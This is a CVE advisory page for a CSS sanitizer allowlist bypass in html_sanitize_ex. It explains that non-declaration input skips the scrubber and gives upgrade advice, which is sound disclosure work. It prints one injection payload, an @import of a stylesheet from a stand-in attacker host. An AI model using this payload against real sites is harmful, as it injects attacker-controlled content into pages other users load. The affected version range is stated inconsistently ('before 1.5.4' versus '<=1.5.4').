CVE-2026-68747: CSS sanitizer allowlist bypass in html_sanitize_ex via non-declaration input

Published Aug 6, 2026
·
Updated

Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection') vulnerability in the CSS scrubber in rrrene htmlsanitizeex allows an unauthenticated remote attacker to inject CSS at-rules, including an import of a remote stylesheet, into a page served to other users. HtmlSanitizeEx.Scrubber.CSS.scrub/1 applies its property and value allowlist through a Regex.replace over substrings matching a property: value declaration pattern, so input that does not match that pattern is never inspected and is copied to the output unchanged. @import url(//attacker.example/style.css); survives, while the same URL inside a background: url(...) declaration is removed.

Element boundaries are resolved before the scrubber runs, so injected content does not escape the <style> element and no script executes.

This issue affects htmlsanitizeex: from 0.3.1 before 1.5.4.

Affected Software

1 affected component
rrrene/html_sanitize_ex>0.3.1<=1.5.4

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade rrrene html_sanitize_ex to a version that resolves this vulnerability.

    Fixed in 1.5.4

Event History

Aug 6, 2026
CVE Published
via MITRE·02:50 PM
Data Sourced
via MITRE·02:50 PM
DescriptionWeakness
Free Weekly Intel

Don't miss critical vulnerabilities

Join thousands of security professionals who receive our weekly digest of trending CVEs, zero-days, and exploited vulnerabilities.

No spam. Unsubscribe anytime.

Frequently Asked Questions

1

What is the severity of CVE-2026-68747?

CVE-2026-68747 has a risk rating of 37, indicating a notable level of severity.

2

How does CVE-2026-68747 affect rrrene/html_sanitize_ex?

CVE-2026-68747 allows an unauthenticated remote attacker to bypass the CSS sanitizer's allowlist and inject CSS at-rules into served pages.

3

Who can exploit CVE-2026-68747?

CVE-2026-68747 can be exploited by unauthenticated remote attackers.

4

What types of injections can occur due to CVE-2026-68747?

CVE-2026-68747 allows for the injection of CSS at-rules, including the potential import of remote stylesheets.

5

What steps should be taken to mitigate CVE-2026-68747?

Mitigation for CVE-2026-68747 involves updating to the latest version of rrrene/html_sanitize_ex that addresses this vulnerability.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203